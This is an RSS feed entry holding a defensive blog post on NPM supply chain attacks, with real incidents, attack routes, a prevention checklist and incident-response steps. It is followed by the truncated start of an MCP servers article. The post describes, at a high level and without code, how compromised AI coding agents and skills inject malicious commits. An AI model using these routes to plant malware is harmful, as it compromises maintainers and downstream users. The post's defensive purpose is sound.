&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781247286091_devs2.png&quot; alt=&quot;How supply chain malware spreads fast within developer communities and compromise many software products&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;recent-supply-chain-attack-wave-s-victims&quot;&gt;Which projects were affected by recent NPM supply chain attacks?&lt;/h3&gt;
&lt;p&gt;Maintainers and security researchers found compromised versions of the following popular projects and unpublished affected versions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Project/project group name&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;The initial security attack date&lt;/th&gt;
&lt;th&gt;Reports and discussions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Axios&lt;/td&gt;
&lt;td&gt;A threat actor stole NPM credentials from the lead maintainer’s PC and published two infected package versions&lt;/td&gt;
&lt;td&gt;March 31, 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/axios/axios/issues/10636&quot;&gt;GitHub issue&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TanStack&lt;/td&gt;
&lt;td&gt;A threat actor published 84 infected package versions using the GitHub Actions cache poisoning technique&lt;/td&gt;
&lt;td&gt;May 11, 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://tanstack.com/blog/npm-supply-chain-compromise-postmortem&quot;&gt;TanStack blog post&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chalk&lt;/td&gt;
&lt;td&gt;A lead maintainer’s NPM account got hacked via email phishing, and an infected version was published&lt;/td&gt;
&lt;td&gt;September 8, 2025&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/chalk/chalk/issues/656&quot;&gt;GitHub issue&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug.js&lt;/td&gt;
&lt;td&gt;A lead maintainer’s NPM account got hacked via email phishing, and an infected version was published&lt;/td&gt;
&lt;td&gt;September 8, 2025&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/debug-js/debug/issues/1005&quot;&gt;GitHub issue&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In addition to these popular packages, thousands of other NPM packages were compromised. Even though infected NPM package versions often get removed, malicious JavaScript payloads are still present in many online code repositories:&lt;/p&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781247606987_devs100.png&quot; alt=&quot;ClavHavoc supply chain malware payloads are still present in so many compromised repositories on GitHub&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;what-does-a-supply-chain-worm-do&quot;&gt;What does a supply chain worm do?&lt;/h3&gt;
&lt;p&gt;Supply chain worms aren’t created just to replicate, and over  in code repositories,  they typically install remote access trojans (RATs) and do the following harmful activities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Steal protected data, such as API keys, login credentials, session keys, private source codes, and confidential data&lt;/li&gt;
&lt;li&gt;Spread ransomware that encrypts valuable data files or viruses that make PCs or servers unresponsive&lt;/li&gt;
&lt;li&gt;Install crypto miners to steal hardware processing power&lt;/li&gt;
&lt;li&gt;Communicate with C2 (command and control) servers and perform tasks that threat actors instruct, e.g., executing system commands for data extraction and harmful purposes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-do-your-full-stack-projects-get-compromised&quot;&gt;&lt;strong data-start=&quot;755&quot; data-end=&quot;818&quot;&gt;How do supply chain attacks compromise full-stack projects?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Your full-stack project codebase can get compromised without you even noticing, in the following ways:&lt;/p&gt;
&lt;h3 id=&quot;from-compromised-dependencies&quot;&gt;How can compromised dependencies infect your project?&lt;/h3&gt;
&lt;p&gt;This has happened for millions of users of recently compromised &lt;a href=&quot;https://blog.logrocket.com/npm-dependencies-bigger-security-risk-your-code/&quot;&gt;NPM packages&lt;/a&gt;. They installed the usual, trusted package, but received a compromised package with injected malicious code instead. Their PCs and servers got infected right after they downloaded the compromised version (via NPM postinstall scripts) or when they ran the project manually after a package upgrade. The original package can be compromised if the maintainer’s PC or build server is compromised or the maintainer’s developer keys are stolen.&lt;/p&gt;
&lt;p&gt;Apart from compromised original packages, you may accidentally mistype a package name and install a malicious package. Threat actors use these techniques:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Brandjacking:&lt;/strong&gt; A malicious package uses a part of the trusted name to gain trust, e.g., using &lt;code&gt;&amp;lt;service&amp;gt;-api&lt;/code&gt; or &lt;code&gt;&amp;lt;service&amp;gt;-client&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Typosquatting&lt;/strong&gt;: Exploiting typing errors to let developers install malicious packages, e.g., if the original package is &lt;code&gt;loremipsum&lt;/code&gt;, threat actors may create malicious packages using &lt;code&gt;lorenipsum&lt;/code&gt; or similar names&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;weaker-code-reviews&quot;&gt;Can weak code reviews introduce malware?&lt;/h3&gt;
&lt;p&gt;My biggest fear in open-source development is that I compromise one of my own projects by merging a malicious pull request, so I am extra careful while doing code reviews. This is not overthinking   . A threat actor can contribute to your project as a trustworthy contributor and later submit pull requests with malicious payloads. On the other hand, an innocent contributor’s compromised personal AI assistant can automatically inject malicious payloads into their open pull requests.&lt;/p&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781247951927_devs101.png&quot; alt=&quot;Maintainers closed a compromised pull request submitted to the Neutralinojs project&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Just scanning through code suggestions and merging pull requests can silently include supply chain malware in your codebases. GitHub pull request previews don’t expand larger Git diffs by default; a malicious payload can hide within a larger diff.&lt;/p&gt;
&lt;h3 id=&quot;weaker-permission-handling&quot;&gt;How do weak permissions increase supply chain risk?&lt;/h3&gt;
&lt;p&gt;Setting broad permissions, very long token expiry durations, and forgetting to revoke permissions when necessary make your project vulnerable to supply chain attacks. Here are some possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A compromised GitHub account of a former contributor who still has write access to your project codebase can inject malicious code, without the former contributor noticing&lt;/li&gt;
&lt;li&gt;A threat actor who stole a token from a newly hired developer’s PC can gain access to all repositories if the particular token isn’t properly scoped, only for onboarding-related repositories&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;malicious-copy-paste-code-and-commands&quot;&gt;Can copied code and commands infect your project?&lt;/h3&gt;
&lt;p&gt;We often copy-paste short code snippets and commands from documentation, forums, and &lt;a href=&quot;https://blog.logrocket.com/build-ai-chatbot-fastchat-javascript/&quot;&gt;AI chats&lt;/a&gt; into our codebases. Threat actors can create fake resources and trick you into copying malicious code snippets and commands to your system clipboard. Once you paste these malicious code snippets into projects or run commands on the terminal, your PC and projects can get infected.&lt;/p&gt;
&lt;p&gt;Threat actors can initiate the supply chain attack strategy with classic phishing and social engineering tactics. Here are some possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You’ve received a fake email that asks you to update a dependency via &lt;code&gt;npm install &amp;lt;package&amp;gt; to fix&lt;/code&gt; a critical security vulnerability, but the command installs a malicious NPM package&lt;/li&gt;
&lt;li&gt;You’ve received an email that leads to a fake coding interview that asks you to download a malicious coding test repository, e.g., a legitimate-looking project with a malicious &lt;code&gt;npm run build&lt;/code&gt; command configuration&lt;/li&gt;
&lt;li&gt;A threat actor acts as your friend, sends a WhatsApp message, asks you to run malicious code on the terminal, saying that the result is your birthday gift&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;compromised-ci-cd-workflows&quot;&gt;How can CI/CD pipelines be compromised?&lt;/h3&gt;
&lt;p&gt;Even if you strengthen security for the codebase while it’s in developers’ hands, your full-stack projects can still get compromised inside CI/CD workflows. Here are some possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CI servers&lt;/strong&gt;: A compromised CI workflow plugin or a cache poisoning campaign can push a malicious payload and send an automatic, legitimate-looking pull request or directly update the codebase based on available codebase permissions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CD servers&lt;/strong&gt;: A CD workflow plugin or a cache poisoning campaign can silently inject a supply chain worm or Trojan inside official build artifacts and make a legitimate-looking software release&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;compromised-ai-agents-and-skills&quot;&gt;Can AI coding assistants spread supply chain malware?&lt;/h3&gt;
&lt;p&gt;Nowadays, the trend is to use &lt;a href=&quot;https://blog.logrocket.com/vercel-ai-elements/&quot;&gt;personal AI assistants&lt;/a&gt; to automate most daily tasks. Developers also use AI assistants like OpenClaw and terminal-based AI agents to improve coding productivity. They’ll give code repository access permissions to these AI agents for automated development experimentation.&lt;/p&gt;
&lt;p&gt;What if these AI agents get compromised? Then, they can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Push malicious code into code repositories that you have write access&lt;/li&gt;
&lt;li&gt;Submit malicious pull requests to projects you contribute to&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Four GitHub repositories of the Neutralinojs framework were compromised in March, 2026. One of the former contributors had direct write permissions to the &lt;code&gt;main&lt;/code&gt; branch of all repositories, and a compromised OpenClaw skill that the past maintainer mistakenly installed could inject malicious JavaScript payloads into Neutralinojs repositories by altering several original Git commits:&lt;/p&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781249637175_devs102.png&quot; alt=&quot;Altered Dependabot commit submitted via forced Git push to the Neutralinojs project from a compromised GitHub account&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;a-practical-checklist-to-safeguard-your-full-stack-projects&quot;&gt;&lt;strong data-start=&quot;1447&quot; data-end=&quot;1516&quot;&gt;How do you protect full-stack projects from supply chain attacks?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Protecting full-stack projects from supply chain attacks requires securing every stage of your development and deployment workflow, from dependencies and code reviews to permissions, &lt;a href=&quot;https://blog.logrocket.com/ci-cd-from-day-one/&quot;&gt;CI/CD pipelines&lt;/a&gt;, and developer credentials. Based on the lessons I learned from the Neutralinojs project’s codebase compromise incident, I’ve put together the following practical security checklist. Use it as a baseline for defending any software project against modern supply chain malware.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Implement Git hosting branch protection rules&lt;/strong&gt;: This should be the first remote repository configuration step for any serious software project. Block direct pushes and force pushes to primary Git branches, so even though a threat actor gains access to your repository content modification, they can’t update primary branches that others typically use to download the latest codebase snapshot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Store remote Git tokens securely&lt;/strong&gt;: Never let Git store tokens in plain text. For example, don’t use &lt;code&gt;store&lt;/code&gt; for the &lt;code&gt;credential.helper&lt;/code&gt; configuration key on Linux, as it stores tokens in plain text. Plain-text tokens can be easily stolen if your PC gets compromised. Use Linux &lt;code&gt;libsecret&lt;/code&gt;-like secure, encrypted storage for Git tokens&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invest time in evaluating dependency security&lt;/strong&gt;: Choose dependencies wisely by evaluating them from a security perspective. Look for unresolved CVEs and public security reports before integrating a dependency into your full-stack projects&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use strict permission-handling rules&lt;/strong&gt;: Never set broad permissions  ; narrow them to match access requirements exactly. Immediately revoke permissions when developers are leaving your project&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Improve code review workflows&lt;/strong&gt;: Never rely solely on AI code reviewing tools or quick human reviews  ; a malicious code snippet can fool AI and sneak through quick human code reviews. Use multiple manual strict approvals and use an AI code review tool as a reviewing assistant to strengthen security and improve reviewer productivity in code reviews:&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781250401122_devs103.png&quot; alt=&quot;GitHub copilot detects a compromised pull request&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Make 2FA mandatory as a team-wide rule&lt;/strong&gt;: If the account owner doesn’t fall into the threat actors’ scamming tricks and physical 2FA devices are securely stored, most account hijacking attempts stop at the &lt;a href=&quot;https://blog.logrocket.com/ux-design/creating-painless-2fa-user-flow/&quot;&gt;2FA layer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintain continuous dependency security audits&lt;/strong&gt;: Keep your dependencies up-to-date using automated dependency update services (e.g., GitHub Dependabot). Besides, actively check important security notices published by dependency projects, so you can take immediate action if a dependency version gets compromised&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781250544066_devs104.png&quot; alt=&quot;GitHub Dependabot automatically opened a pull request to update a dependency&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Don’t immediately trust new dependency releases&lt;/strong&gt;: A threat actor can make a trusted dependency compromised and publish malicious versions. Verify whether new releases are genuine by browsing official release notes and community response before manually updating dependencies&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Know about vulnerable actions in programming&lt;/strong&gt;: Educate yourself and all project members about programming actions that could open the codebase to supply chain attacks, including mindless copy-pasting from unknown sources, mistyping dependency names, using untrusted software in PCs, compromised pull requests, and trusting fake developer service emails (e.g., a fake NPM 2FA update email caused the Chalk package compromise incident)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-handle-a-security-incident&quot;&gt;What should you do after a supply chain attack?&lt;/h2&gt;
&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-start=&quot;283&quot; data-end=&quot;668&quot;&gt;If your project is compromised, your first priority should be to stop the malware from spreading, secure your development and deployment infrastructure, and assess the impact. Even if you follow every known precaution, there is still a risk of a codebase compromise. The important thing is to respond quickly and methodically to protect your project, your contributors, and your users.&lt;/p&gt;
&lt;p data-start=&quot;673&quot; data-end=&quot;981&quot;&gt;My largest open source project, Neutralinojs, was also compromised (only the codebase, luckily not the NPM packages) during the recent supply chain attack wave. With the help of the OpenSourceMalware (OSM) team, I took immediate action to contain the incident, safeguard the project, and maintain user trust.&lt;/p&gt;

&lt;p data-start=&quot;986&quot; data-end=&quot;1119&quot;&gt;Here is the practical list of actions that you can take immediately after a full-stack project or any digital product is compromised:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Disable all CI/CD workflows to eliminate the risk of generating compromised releases or initiating any form of repository updates that spread the supply chain worm&lt;/li&gt;
&lt;li&gt;Revoke all Git repository hosting, package deployment, and other development/deployment-related tokens, e.g., revoking GitHub and NPM tokens&lt;/li&gt;
&lt;li&gt;Security audits take time, so let closer stakeholders (e.g., the leadership team) know that the project is compromised with broad findings so far, including known impacted regions like repositories, releases, Docker images, etc. You may not know the exact infected releases or repositories at this stage; mentioning what components are affected is enough. Start a security notice thread in a way that closer stakeholders won’t panic, but stay updated&lt;/li&gt;
&lt;li&gt;Initialize a high-priority, quick security audit by going through repository logs, unverified commits, and package publishing logs. If your project doesn’t have a dedicated security team, you can get help from external security professionals. For example, the OSM team helped to scan Neutralinojs repositories. This quick audit should not span several days ;  the goal is to identify exactly what project modules are compromised and what the root cause is while minimizing the ongoing damage&lt;/li&gt;
&lt;li&gt;If a forced Git push compromised the codebase, immediately block content write permissions for the specific Git user. Take actions based on audit findings and based on your product type to protect users&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Project type&lt;/th&gt;
&lt;th&gt;Key actions to protect users&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SaaS product&lt;/td&gt;
&lt;td&gt;Audit for possible user data breaches, unusual user activity, and overall impact on the customer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blog.logrocket.com/publishing-node-modules-typescript-es-modules/&quot;&gt;NPM package&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Unpublish infected versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standalone product (i.e., mobile app or desktop app)&lt;/td&gt;
&lt;td&gt;Remove infected versions from the official downloads and app stores. Notify users using the most effective channel (e.g., using a security warning on the official website)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;Initiate a deep security audit to make sure the previous audit didn’t miss anything and identify necessary precautions that the project should implement to prevent future supply chain threats. Neutralinojs’s security audit results help me create the above supply chain security checklist&lt;/li&gt;
&lt;li&gt;Restore development and deployment workflows with fresh tokens and deploy fresh builds. Do a regression test to verify all restored workflows and product access from the user’s perspective&lt;/li&gt;
&lt;li&gt;Publish a detailed incident report for all users and everyone involved with the project. This should include the timeline of the attack and recovery, the exact impacted product versions, who has the risk of getting malware, impact on user data, and advice for users to safeguard their devices and data (e.g., rotating API keys, changing passwords, scanning devices, etc)&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_CF60FA7324584930E41E96185E0CA3C43125EE542217893B1BAFE43A7E16644E_1781250899086_devs105.png&quot; alt=&quot;Neutralinojs’s official report about the codebase compromise incident on GitHub Discussions&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;In any security incident in any software project, the goal should be to handle it progressively and effectively without panicking, &amp;nbsp;as panic can cause more severe damage to your product than the supply-chain malware does.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Malware and software attack strategies are evolving. With tech-savvy users, traditional phishing and social engineering threats are coming to an end. Threat actors use the supply chain attack method to gain access to larger software systems by creating malware that sneaks through development and deployment workflows. A simple package name mistype could be a severe disaster! We can’t blame the runtime environment’s security issues (e.g., Node.js enables all permissions by default, considering backward compatibility) for supply chain incidents ;  implementing supply chain security precautions regardless of the runtime environment is the key.&lt;/p&gt;
&lt;p&gt;Being a non-JavaScript backend developer doesn’t mean you are safe; supply chain malware can hide in Python, Go, Rust, or any backend module; e.g., see compromised PyPI modules on &lt;a href=&quot;https://opensourcemalware.com/?type=package&amp;amp;ecosystem=pypi&quot;&gt;OpenSourceMalware&lt;/a&gt; explorer. You can implement supply chain security for any software project by adhering to the above checklist; it will safeguard full-stack web, mobile, desktop, &lt;a href=&quot;https://blog.logrocket.com/building-typescript-cli-node-js-commander/&quot;&gt;CLI&lt;/a&gt;, or any project written in any programming language.&lt;/p&gt;
&lt;p&gt;Axios, TanStack, and other recently compromised projects are now clean and still available today with the same trust as before, so a supply chain compromise incident isn’t the end of your project  . Take the actions explained above immediately with the highest priority if your project was infected with supply chain malware.&lt;/p&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/full-stack/&quot;&gt;#full stack&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/secure-full-stack-npm/</link><guid isPermaLink="false">https://blog.logrocket.com/secure-full-stack-npm/</guid><pubDate>Invalid Date</pubDate><author>Shalitha Suranga</author></item><item><title>The top 15 MCP servers for your AI projects</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#mcp-transports-stdio-and-streamable-http&quot;&gt;&lt;strong&gt;What is the difference between stdio and Streamable HTTP?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;mcp-transports-stdio-and-streamable-http&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#github-mcp-server-code-automation-and-analysis&quot;&gt;What can the GitHub MCP server do?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;github-mcp-server-code-automation-and-analysis&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sample-use-cases&quot;&gt;Sample use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sample-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#mongodb-mcp-server-natural-language-database-operations&quot;&gt;What can the MongoDB MCP server do?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;mongodb-mcp-server-natural-language-database-operations&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sample-applications&quot;&gt;Sample applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sample-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#azure-mcp-server-cloud-service-integration&quot;&gt;How does the Azure MCP server work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;azure-mcp-server-cloud-service-integration&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#use-cases&quot;&gt;Use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#context7-mcp-server-live-library-documentation&quot;&gt;&lt;strong&gt;Why should you use Context7 MCP?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;context7-mcp-server-live-library-documentation&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sample-applications&quot;&gt;Sample applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sample-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#cloudflare-mcp-server-edge-computing-and-cdn-management&quot;&gt;What can the Cloudflare MCP server do?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;cloudflare-mcp-server-edge-computing-and-cdn-management&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sample-applications&quot;&gt;Sample applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sample-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#firebase-mcp-server-backend-as-a-service-integration&quot;&gt;&lt;strong&gt;How do you use the Firebase MCP server?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;firebase-mcp-server-backend-as-a-service-integration&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sample-use-cases&quot;&gt;Sample use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sample-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#google-cloud-run-mcp-server-serverless-deployment-automation&quot;&gt;How do you deploy applications with the Google Cloud Run MCP server?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;google-cloud-run-mcp-server-serverless-deployment-automation&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#application-scenarios&quot;&gt;Application scenarios&lt;/a&gt;
        &lt;ul data-toc-name=&quot;application-scenarios&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#jetbrains-mcp-server-ide-integration-and-code-intelligence&quot;&gt;How does the JetBrains MCP server work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;jetbrains-mcp-server-ide-integration-and-code-intelligence&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#development-use-cases&quot;&gt;Development use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;development-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#docker-mcp-server-container-management-through-the-catalog-and-toolkit&quot;&gt;How does the Docker MCP Toolkit work?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;docker-mcp-server-container-management-through-the-catalog-and-toolkit&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#operational-use-cases&quot;&gt;Operational use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;operational-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#figma-mcp-server-design-to-code-automation&quot;&gt;&lt;strong&gt;How do you use the Figma MCP server for design-to-code workflows?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;figma-mcp-server-design-to-code-automation&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#design-workflow-applications&quot;&gt;Design workflow applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;design-workflow-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#aws-mcp-server-cloud-infrastructure-management&quot;&gt;How do you use the AWS MCP server?&lt;/a&gt;
